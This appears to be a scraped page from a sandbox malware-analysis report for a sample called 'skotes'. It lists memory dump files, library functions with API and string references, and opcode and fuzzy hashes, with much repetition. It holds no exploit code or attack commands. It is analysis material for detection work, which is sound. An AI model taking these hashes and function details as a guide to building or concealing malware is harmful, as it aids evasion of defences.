Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 8c157d5b787cfdb1ec776be15b07bd9012c43b1dbcc0aad9de61e705533ab3e7
Instruction ID: d00990ca15898342b2492519be54436f009421815a2225908a8bbd1b88741204
Opcode Fuzzy Hash: 8c157d5b787cfdb1ec776be15b07bd9012c43b1dbcc0aad9de61e705533ab3e7
Instruction Fuzzy Hash: E50104276086AE25A764101A9E02B6763D88BC2BB8B35202AFC94F71C1EF54DC4231A1

Function 00ECFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ECFB06

Strings

kernel32.dll, xrefs: 00ECFA7A
GetThreadGroupAffinity, xrefs: 00ECFA93
GetCurrentProcessorNumberEx, xrefs: 00ECFABE
SetThreadGroupAffinity, xrefs: 00ECFA87

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 7ad76119a7ee11d033b8831ab54bb11a20a58500dc150814b087156650b974b9
Instruction ID: 5833a888c882f086d0c6f958836aab2b2e6414ef232693f4638ec67e0e0320fc
Opcode Fuzzy Hash: 7ad76119a7ee11d033b8831ab54bb11a20a58500dc150814b087156650b974b9
Instruction Fuzzy Hash: C5014921545315ADE22077B55D43FAB35CDDF41B0CB61292FF441F22C1EEB5EC016162

Function 00EE2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00EE20B7

Part of subcall function 00EDCAF3: Mailbox.LIBCMT ref: 00EDCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE20C8
StructuredWorkStealingQueue.LIBCMT ref: 00EE20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE210F

Strings

e, xrefs: 00EE20D9

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: d0a0d697d7f4552e9d45fad382f9526261822f6a5ec63e5b2a02bfb55835971b
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 2511AB3110118D9BDB15DE7AC841BAA73ACEF01364B14919EFE06BF246DB71DA01DB90

Function 00ECD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00ECD0A5

Strings

kernel32.dll, xrefs: 00ECD04C
WakeAllConditionVariable, xrefs: 00ECD069
SleepConditionVariableCS, xrefs: 00ECD05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00ECD03B

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 8a2ef67602ced3e803cf4a95d27fe781081aea159c3ecf8ed7e8c9334fa256a9
Instruction ID: 29fcfce678b2b4365b668f72aec50d9aa64eacb2abd1f60d9be12affa035193d
Opcode Fuzzy Hash: 8a2ef67602ced3e803cf4a95d27fe781081aea159c3ecf8ed7e8c9334fa256a9
Instruction Fuzzy Hash: 5601D060689715D9FA3137755E03FA721C9DB82F4CF062528F904F31C0DA62DC02A466

Function 00EF4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00EF4C98
__alloca_probe_16.LIBCMT ref: 00EF4D5E
__freea.LIBCMT ref: 00EF4DCA

Part of subcall function 00EEB04B: RtlAllocateHeap.NTDLL(00000000,883F4975,?,?,00ECD3FC,883F4975,?,00EC7A8B,?,?,?,?,?,?,00EB7465,?), ref: 00EEB07D

__freea.LIBCMT ref: 00EF4DD3
__freea.LIBCMT ref: 00EF4DF6

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
